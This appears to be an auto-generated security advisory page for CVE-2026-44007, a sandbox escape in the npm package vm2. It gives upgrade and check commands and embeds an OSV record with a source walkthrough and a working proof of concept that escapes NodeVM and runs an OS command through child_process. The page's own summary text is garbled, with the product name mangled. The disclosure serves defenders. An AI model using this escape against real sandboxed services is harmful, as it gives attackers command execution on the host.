CVE-2026-44007: vm2 NodeVM `nesting True` Bypasses `require: False` Allowing Vulnerability
CRITICALCVE-2026-44007 is a CRITICAL (CVSS 9.1) true` bypasses `require: false` allowing vulnerability (CWE-284: Improper Access Control) affecting vm2 NodeVM `nesting libraries in the npm ecosystem. The issue involves true` bypasses `require: false` allowing sandbox escape and arbitrary os command execution. Remediation is available by upgrading affected packages to version 3.11.1.
CVE-2026-44007 at a Glance
Security Impact
CVSS: 9.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).
How to Fix CVE-2026-44007
To remediate this vulnerability, upgrade all affected vm2 NodeVM `nesting dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install vm2@3.11.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls vm2
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-44007, inspect your project dependencies using npm:
npm ls vm2
Analyze the terminal output to locate any version of vm2 NodeVM `nesting in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.1), your application is affected.
Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In vm2 NodeVM `nesting, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-44007 Affected vm2 NodeVM `nesting Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
vm2
|
npm |
< 3.11.1
|
3.11.1
|
References
Frequently Asked Questions
What is CVE-2026-44007?
Which vm2 NodeVM `nesting versions are affected?
What version fixes CVE-2026-44007?
Is vm2 affected?
What is the CVSS score of CVE-2026-44007?
What CWE is associated with CVE-2026-44007?
How can I check npm dependencies for CVE-2026-44007?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8hg8-63c5-gwmx",
"modified" : "2026-05-14T20:37:04Z",
"published" : "2026-05-07T05:13:21Z",
"aliases" : [ "CVE-2026-44007" ],
"summary" : "vm2 NodeVM `nesting: true` bypasses `require: false` allowing sandbox escape and arbitrary OS command execution",
"details" : "### Summary\n\nWhen a `NodeVM` is created with `nesting: true`, sandbox code can unconditionally `require('vm2')` regardless of the outer VM's `require` configuration — including `require: false`. With access to `vm2`, the sandbox constructs a new inner `NodeVM` with its own unrestricted `require` settings and executes arbitrary OS commands on the host. Any application that runs untrusted code inside a `NodeVM` with `nesting: true` is fully compromised.\n\n### Details\n\nThe vulnerability is in how the `nesting: true` option interacts with the legacy module resolver.\n\n**`lib/nodevm.js:96-99`** — `NESTING_OVERRIDE` is a special builtin map that injects the `vm2` package into the sandbox:\n\n```js\nconst NESTING_OVERRIDE = Object.freeze({\n __proto__: null,\n vm2: vm2NestingLoader\n});\n```\n\n**`lib/nodevm.js:268-269`** — When `nesting: true`, this override is passed into the resolver factory alongside the host's `require` options:\n\n```js\nconst customResolver = requireOpts instanceof Resolver;\nconst resolver = customResolver ? requireOpts : makeResolverFromLegacyOptions(\n requireOpts,\n nesting && NESTING_OVERRIDE, // ← injected when nesting:true\n this._compiler\n);\n```\n\n**`lib/resolver-compat.js:193-197`** — This is the vulnerable branch. When `require: false` is set, `requireOpts` is falsy, so `!options` is true. Without nesting the function returns `DENY_RESOLVER` (block everything). With nesting, it instead builds a resolver that includes `vm2` from `NESTING_OVERRIDE`:\n\n```js\nfunction makeResolverFromLegacyOptions(options, override, compiler) {\n if (!options) {\n if (!override) return DENY_RESOLVER; // require:false, no nesting → deny all\n // BUG: require:false + nesting:true reaches here\n // override (NESTING_OVERRIDE) is applied, making vm2 available\n const builtins = makeBuiltinsFromLegacyOptions(undefined, defaultRequire, undefined, override);\n return new Resolver(DEFAULT_FS, [], builtins); // vm2 is now requireable\n }\n // ...\n}\n```\n\n**`lib/builtin.js:102-106`** — `NESTING_OVERRIDE` is merged unconditionally into builtins, overriding any user-configured allowlist:\n\n```js\nif (overrides) {\n const keys = Object.getOwnPropertyNames(overrides);\n for (const key of keys) {\n res.set(key, overrides[key]); // vm2 always injected when nesting:true\n }\n}\n```\n\nThe result: `require('vm2')` always succeeds inside a `NodeVM` with `nesting: true`, regardless of `require: false`, `require: { builtin: [] }`, or any other restriction. Once the sandbox has `vm2`, it creates a new inner `NodeVM` with whatever `require` config it chooses — unconstrained by the outer VM — and reaches `child_process`.\n\nThis was introduced in commit `2353ce60` (Feb 8, 2022) and survived a major refactor in commit `9e2b6051` (Apr 8, 2023). The JSDoc for `nesting` does warn that \"scripts can create a NodeVM which can require any host module,\" but does not document that `nesting: true` silently defeats `require: false`, which is the non-obvious part of this interaction.\n\n### PoC\n\n**Requirements:** vm2 installed, Node.js v22.22.1 (also reproduced on earlier versions).\n\n```js\nconst { NodeVM } = require('vm2');\n\n// Host intends: nesting enabled, but require completely disabled\nconst vm = new NodeVM({ nesting: true, require: false });\n\nconst result = vm.run(`\n // Step 1: require('vm2') succeeds despite require:false on the outer VM\n const { NodeVM: NVM } = require('vm2');\n\n // Step 2: create an inner NodeVM with attacker-chosen require config\n // This inner VM has no relation to the outer VM's restrictions\n const inner = new NVM({ require: { builtin: ['child_process'] } });\n\n // Step 3: execute arbitrary OS command in the inner VM\n module.exports = inner.run(\n 'module.exports = require(\"child_process\").execSync(\"id\").toString()'\n );\n`);\n\nconsole.log(result);\n// uid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),...\n```\n\n**Observed output (confirmed on Node v22.22.1, vm2 commit `8dd0591`):**\n```\nuid=1000(akshat) gid=1000(akshat) groups=1000(akshat),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),104(kvm),118(lpadmin),989(docker),990(ollama),991(nordvpn)\n```\n\nThe variant with `require: false` also works — the outer VM's require setting has no effect:\n\n```js\nnew NodeVM({ nesting: true, require: false }).run(`\n const { NodeVM: NVM } = require('vm2');\n module.exports = new NVM({ require: { builtin: ['child_process'] } })\n .run('module.exports = require(\"child_process\").execSync(\"id\").toString()');\n`);\n// uid=1000(akshat) ...\n```\n\nNarrow builtin allowlists are also bypassed. `require: { builtin: ['path'] }` still allows `require('vm2')` when nesting is enabled.\n\n### Impact\n\n**Who is affected:** Any application that runs untrusted or user-supplied code inside a `NodeVM` with `nesting: true`. This includes multi-tenant code execution platforms, notebook/REPL services, plugin systems, and CI sandboxing tools that use vm2.\n\n**What an attacker can do:** Execute arbitrary OS commands as the host process user. From there: read/write files, exfiltrate secrets from the environment, move laterally on the host network, or establish persistence.\n\n**Severity:** The mental model mismatch is the core danger. A developer who sets `require: false` to lock down modules, then adds `nesting: true` to allow child VM creation, will believe the sandbox is restricted. It is not — `require: false` is silently overridden and the sandbox has unrestricted OS access.\n\n**Note:** `nesting: true` must be set by the host. This is not a zero-cooperation escape from a default `NodeVM`. However, it is not pure misconfiguration either: the implementation defeats a strong and reasonable expectation (`require: false` should mean deny all), and the existing warning in the docs does not surface the `require: false` bypass specifically.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "vm2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "3.11.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 3.11.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-8hg8-63c5-gwmx"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44007"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/patriksimek/vm2"
}, {
"type" : "WEB",
"url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.1"
}, {
"type" : "WEB",
"url" : "http://www.openwall.com/lists/oss-security/2026/05/05/11"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-693" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-07T05:13:21Z",
"nvd_published_at" : "2026-05-13T18:16:17Z"
}
}